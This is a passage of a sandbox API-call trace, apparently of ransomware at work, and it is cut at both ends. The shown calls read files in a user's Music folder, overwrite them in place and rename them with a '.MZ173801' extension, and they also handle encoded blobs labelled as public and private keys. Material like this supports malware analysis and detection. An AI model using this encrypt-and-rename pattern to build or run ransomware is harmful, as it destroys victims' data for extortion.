lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0158.563] GetCurrentThreadId () returned 0xab4 [0158.563] GetCurrentThreadId () returned 0xab4 [0158.563] GetCurrentThreadId () returned 0xab4 [0158.563] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\SiBTVIHwNwSnLAsEiaZs.m4a" (normalized: "c:\\users\\fd1hvy\\music\\sibtvihwnwsnlaseiazs.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0158.563] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0158.563] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0158.563] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x166c0 [0158.563] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0158.563] ReadFile (in: hFile=0x288, lpBuffer=0x24eb050, nNumberOfBytesToRead=0x166c0, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x24eb050*, lpNumberOfBytesRead=0x19fa18*=0x166c0, lpOverlapped=0x0) returned 1 [0158.564] CloseHandle (hObject=0x288) returned 1 [0158.566] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\SiBTVIHwNwSnLAsEiaZs.m4a" (normalized: "c:\\users\\fd1hvy\\music\\sibtvihwnwsnlaseiazs.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0158.567] WriteFile (in: hFile=0x288, lpBuffer=0x2503080*, nNumberOfBytesToWrite=0x166c0, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x2503080*, lpNumberOfBytesWritten=0x19fa24*=0x166c0, lpOverlapped=0x0) returned 1 [0158.569] CloseHandle (hObject=0x288) returned 1 [0158.572] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\SiBTVIHwNwSnLAsEiaZs.m4a" (normalized: "c:\\users\\fd1hvy\\music\\sibtvihwnwsnlaseiazs.m4a"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\SiBTVIHwNwSnLAsEiaZs.m4a.MZ173801" (normalized: "c:\\users\\fd1hvy\\music\\sibtvihwnwsnlaseiazs.m4a.mz173801")) returned 1 [0158.574] GetCurrentThreadId () returned 0xab4 [0158.574] GetCurrentThreadId () returned 0xab4 [0158.574] GetCurrentThreadId () returned 0xab4 [0158.574] GetCurrentThreadId () returned 0xab4 [0158.574] GetCurrentThreadId () returned 0xab4 [0158.574] GetCurrentThreadId () returned 0xab4 [0158.574] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6acf7570, ftCreationTime.dwHighDateTime=0x1d5ec99, ftLastAccessTime.dwLowDateTime=0xfb7b6420, ftLastAccessTime.dwHighDateTime=0x1d5eb4b, ftLastWriteTime.dwLowDateTime=0xfb7b6420, ftLastWriteTime.dwHighDateTime=0x1d5eb4b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="svKO8jzsiZGRBC", cAlternateFileName="SVKO8J~1")) returned 1 [0158.574] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8378750, ftCreationTime.dwHighDateTime=0x1d5edbc, ftLastAccessTime.dwLowDateTime=0x9ad80900, ftLastAccessTime.dwHighDateTime=0x1d5e49f, ftLastWriteTime.dwLowDateTime=0x9ad80900, ftLastWriteTime.dwHighDateTime=0x1d5e49f, nFileSizeHigh=0x0, nFileSizeLow=0x3b64, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="UEnT80em6X.mp3", cAlternateFileName="UENT80~1.MP3")) returned 1 [0158.574] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0158.574] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0158.574] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\UEnT80em6X.mp3" (normalized: "c:\\users\\fd1hvy\\music\\uent80em6x.mp3"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8378750, ftCreationTime.dwHighDateTime=0x1d5edbc, ftLastAccessTime.dwLowDateTime=0x9ad80900, ftLastAccessTime.dwHighDateTime=0x1d5e49f, ftLastWriteTime.dwLowDateTime=0x9ad80900, ftLastWriteTime.dwHighDateTime=0x1d5e49f, nFileSizeHigh=0x0, nFileSizeLow=0x3b64)) returned 1 [0158.575] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\UEnT80em6X.mp3" (normalized: "c:\\users\\fd1hvy\\music\\uent80em6x.mp3")) returned 0x20 [0158.575] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Music\\UEnT80em6X.mp3", dwFileAttributes=0x80) returned 1 [0158.576] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0158.576] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24caebc, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0158.577] GetCurrentThreadId () returned 0xab4 [0158.577] GetCurrentThreadId () returned 0xab4 [0158.577] GetCurrentThreadId () returned 0xab4 [0158.578] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0158.578] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24dbf1c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0158.578] GetCurrentThreadId () returned 0xab4 [0158.578] GetCurrentThreadId () returned 0xab4 [0158.578] GetCurrentThreadId () returned 0xab4 [0158.578] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\UEnT80em6X.mp3" (normalized: "c:\\users\\fd1hvy\\music\\uent80em6x.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0158.578] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0158.578] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0158.578] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x3b64 [0158.579] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0158.579] ReadFile (in: hFile=0x288, lpBuffer=0x24e3d20, nNumberOfBytesToRead=0x3b64, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x24e3d20*, lpNumberOfBytesRead=0x19fa18*=0x3b64, lpOverlapped=0x0) returned 1 [0158.579] CloseHandle (hObject=0x288) returned 1 [0158.580] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\UEnT80em6X.mp3" (normalized: "c:\\users\\fd1hvy\\music\\uent80em6x.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0158.581] WriteFile (in: hFile=0x288, lpBuffer=0x24e7d50*, nNumberOfBytesToWrite=0x3b64, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x24e7d50*, lpNumberOfBytesWritten=0x19fa24*=0x3b64, lpOverlapped=0x0) returned 1 [0158.582] CloseHandle (hObject=0x288) returned 1 [0158.583] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\UEnT80em6X.mp3" (normalized: "c:\\users\\fd1hvy\\music\\uent80em6x.mp3"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\UEnT80em6X.mp3.MZ173801" (normalized: "c:\\users\\fd1hvy\\music\\uent80em6x.mp3.mz173801")) returned 1 [0158.583] GetCurrentThreadId () returned 0xab4 [0158.583] GetCurrentThreadId () returned 0xab4 [0158.583] GetCurrentThreadId () returned 0xab4 [0158.583] GetCurrentThreadId () returned 0xab4 [0158.583] GetCurrentThreadId () returned 0xab4 [0158.583] GetCurrentThreadId () returned 0xab4 [0158.583] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x439e0670, ftCreationTime.dwHighDateTime=0x1d5e464, ftLastAccessTime.dwLowDateTime=0x119971b0, ftLastAccessTime.dwHighDateTime=0x1d5e972, ftLastWriteTime.dwLowDateTime=0x119971b0, ftLastWriteTime.dwHighDateTime=0x1d5e972, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="VM_WvGMt7", 